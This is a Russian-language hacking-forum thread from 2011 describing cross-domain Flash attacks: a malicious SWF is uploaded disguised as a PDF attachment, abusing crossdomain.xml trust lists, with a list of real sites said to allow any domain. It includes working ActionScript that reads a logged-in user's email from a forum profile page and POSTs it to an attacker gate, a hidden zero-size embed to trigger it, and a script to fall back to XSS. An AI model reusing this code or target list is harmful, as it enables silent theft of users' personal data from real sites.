Авторские статьи Альтернатива XSS. Атаки через flash.

Discussion in 'Статьи' started by M_script, 29 Oct 2011.

  1. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Уязвимость, которую я опишу в этой теме, является самой простой в обнаружении из всех багов клиентской части. Реализация атаки также никаких сложностей не вызовет. При всей этой простоте, уязвимость очень распространенная и достаточно опасная, так как админы сайтов не обращают на нее внимания, а у абсолютного большинства пользователей установлены flash-плагины в браузерах.

    Перейдем к делу.
    У flash-приложений есть возможность выполнения запросов к сайту (с куками пользователя) и чтения ответов сервера. На уязвимом сайте можно выполнить любые действия от имени авторизованного пользователя.
    Вызов приложения со страницы сайта осуществляется с помощью html-тегов object или embed.
    <embed src="[ССЫЛКА]" type="application/x-shockwave-flash" />
    В отличие от подключаемых скриптов (script src), flash-приложение выполняется на том домене, где расположен файл, а не на сайте, с которого оно вызывается.
    Расширение и Content-Type файла приложения не имеют никакого значения.
    При "Content-disposition: attachment" приложение не выполняется в ИЕ, ФФ и Хроме. В опере все работает с любыми заголовками ответа.
    То есть, уязвим любой сайт, позволяющий загрузить файл без искажений на свой домен.
    Античат в качестве примера уязвимого сайта:
    [тема в РОА уже удалена. надеюсь, все успели ее увидеть]

    Политика кроссдоменной безопасности не позволяет просто так выполнять запрос к домену, отличающемуся от домена приложения.
    Чтобы выполнить кроссдоменный запрос к сайту, необходимо наличие файла crossdomain.xml в корне. Полностью описывать формата файла и все тонкости настройки политик не буду. Сейчас нам нужны только строки вида:
    <allow-access-from domain="[domain1]"/>
    <allow-access-from domain="[domain2]"/>
    <allow-access-from domain="[domain3]"/>

    Несложно догадаться, что это список доменов, с которых разрешены обращения к сайту.
    Если нельзя залить свой файл на сам сайт, можно попробовать залить его на один из доверенных доменов.
    Для примера возьму RuTube.
    http://rutube.ru/crossdomain.xml
    Рассмотрим 3 домена, с которых разрешены запросы:
    <allow-access-from domain="*.iaamoscow2010.ru" to-ports="*"/>
    <allow-access-from domain="*.kinopoisk.ru" to-ports="*"/>
    <allow-access-from domain="*.mail.ru" to-ports="*"/>


    1) Освобождающийся домен. Регаем и заливаем свое приложение.
    2) Форум на поддомене (forum.kinopoisk.ru). Заливаем приложение в аттач.

    3) Файлообменник на поддомене (files.mail.ru). После загрузки прямая ссылка на файл периодически обновляется, но это решается несколькими строками php-кода.


    И последний случай. Когда flash-запросы разрешены с любого сайта
    <allow-access-from domain="*" />
    Тут без комментариев. Просто список сайтов.

    1) Топ-150 по версии liveinternet.ru
    gismeteo.ru
    liveinternet.ru
    kinopoisk.ru
    kp.ru
    directadvert.ru
    ria.ru
    rian.ru
    smotri.com
    loveplanet.ru
    vesti.ru
    fishki.net
    radikal.ru
    infox.ru
    chatovod.ru
    woman.ru
    dom2.ru
    sports.ru
    rg.ru
    infox.ru
    zoomby.ru
    kommersant.ru
    soccer.ru
    baby.ru
    aif.ru
    lifenews.ru
    tvigle.ru
    galya.ru
    ixbt.com
    moskva.fm
    mk.ru
    u-mama.ru
    a1tv.ru
    ati.su

    2) Топ alexa.com
    xvideos.com
    babylon.com
    zedo.com
    about.com
    youporn.com
    icq.com
    dictionary.com

    3) Еще несколько сайтов, которые все знают
    habrahabr.ru
    kaspersky.ru
    eset.ru
    nod32.ru
    mamba.ru
    plirt.ru
    connect.ua
    mediatarget.ru


    Продолжение следует...
     
    #1 M_script, 29 Oct 2011
    Last edited: 13 Oct 2012
    9 people like this.
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Практическое использование уязвимости

    Ниже приведен код простого приложения, которое парсит регистрационное мыло пользователя с forum.antichat.ru/profile.php?do=editpassword и отправляет на гейт site.com/achatmail.php
    PHP:
    package
    {
        
    import flash.display.Sprite;
        
    import flash.events.Event;
        
    import flash.net.URLLoader
        
    import flash.net.URLRequest;     
        
    import flash.net.URLRequestMethod;     

        public class 
    Main extends Sprite
        
    {
            public function 
    Main() : void
            
    {
                var 
    request URLRequest = new URLRequest("http://forum.antichat.ru/profile.php?do=editpassword");
                var 
    loader URLLoader = new URLLoader();
                
    loader.addEventListener(Event.COMPLETEcompleteHandler);
                
    loader.load(request);
            }

            private function 
    completeHandler(event Event) : void 
            

                var 
    mail String String(event.target.data); 
                
    mail mail.match(/name=\"email\" value=\".+?\"/)[0];
                mail = mail.slice(20, mail.length - 1);
               
                var request : URLRequest = new URLRequest("
    http://site.com/achatmail.php"); 
                
    request.data "mail=" encodeURIComponent(mail);
                
    request.method URLRequestMethod.POST
                var 
    loader:URLLoader = new URLLoader();   
                
    loader.load(request);
            }
        }
    }
    При работе удобно использовать сервис wonderfl.net - онлайн-компилятор и редактор ActionScript.
    Готовое приложение переименовываем в filename.pdf и грузим в аттач форума. Расширение PDF выбрано потому, что на ачате файл, загруженный в этом формате имеет Content-disposition: inline, что позволяет применять приложение для всех браузеров.
    Для успешной отправки мыла на site.com, в корне сайта должен быть файл crossdomain.xml
    PHP:
    <cross-domain-policy>
       <
    allow-access-from domain="forum.antichat.ru"/>
    </
    cross-domain-policy>
    (вместо forum.antichat.ru можно прописать *.antichat.ru или просто *)

    Теперь на вставляем на страницу своего сайта
    PHP:
    <embed src="http://forum.antichat.ru/attachment.php?attachmentid=[N]" type="application/x-shockwave-flash" style="width:0;height:0"/>
    и собираем базу мыл ачата :rolleyes:


    p.s.: не мешало бы закрыть баг. хотя бы сделать проверку первых 3 байт на "CWS" для загружаемых файлов
     
    #2 M_script, 30 Oct 2011
    Last edited: 13 Oct 2012
    yarbabin, Дирижабль and Rebz like this.
  3. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Проверка наличия flash-плагина в браузере

    Не у всех пользователей бывают включены плагины. Кроссбраузерная проверка поддержки flash:
    PHP:
    <script>
    function 
    no_flash()
    {
        var 
    result true;
        if(
    '\v' != 'v'// Только IE не поддерживает вертикальную табуляцию
        
    {
            for(var 
    navigator.plugins.length && resulti++)
            {
                if(
    navigator.plugins[i].name.match('Shockwave Flash'))
                    
    result false;
            }
        }
        else
        {
            try
            {
                new 
    ActiveXObject('ShockwaveFlash.ShockwaveFlash');
                
    result false;
            }
            catch(
    e){}
        }
        return 
    result;
    }

    function 
    xss()
    {
        
    // используем xss
    }

    onload = function ()
    {
        if(
    no_flash()) // флеш-плагина нет
            
    xss();
    }
    </script>
     
  4. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Перенесите в паблик (https://forum.antichat.ru/forum31.html)
     
    1 person likes this.